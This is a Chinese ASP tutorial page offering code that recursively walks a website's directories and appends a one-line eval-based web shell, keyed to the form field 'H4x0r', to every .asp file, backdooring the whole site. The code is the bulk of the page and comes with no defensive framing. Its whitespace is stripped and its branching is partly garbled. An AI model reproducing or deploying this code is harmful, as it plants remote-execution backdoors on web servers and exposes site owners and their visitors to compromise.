FSO遍历目录实现全站插马的代码_ASP教程-查字典教程网
FSO遍历目录实现全站插马的代码
FSO遍历目录实现全站插马的代码
发布时间:2016-12-29 来源:查字典编辑
摘要:

<%

dimph

dimintfile

server.ScriptTimeout=600

ph=server.mappath("/")

SubInsertAllFiles(Path)

SetFSO=CreateObject("Scripting.FileSystemObject")

onerrorresumenext

Setf=FSO.GetFolder(Path)

Setfc2=f.files

ForEachmyfileinfc2

Iflcase(FSO.GetExtensionName(path&""&myfile.name))="asp"then

SetFS1=CreateObject("Scripting.FileSystemObject")

Settfile=FS1.opentextfile(path&""&myfile.name,8,false)

tfile.writeline"<SCRIPTRUNAT=SERVERLANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"

else

InsertAllFiles(newpath)

endif

tfile.close

Next

Setfsubfolers=f.SubFolders

ForEachf1infsubfolers

newpath=path&""&f1.name

InsertAllFiles(newpath)

Next

settfile=nothing

SetFSO=Nothing

EndSub

%>

<%

callInsertAllFiles(ph)

%>

相关阅读
推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
  • 大家都在看
  • 小编推荐
  • 猜你喜欢
  • 最新ASP教程学习
    热门ASP教程学习
    编程开发子分类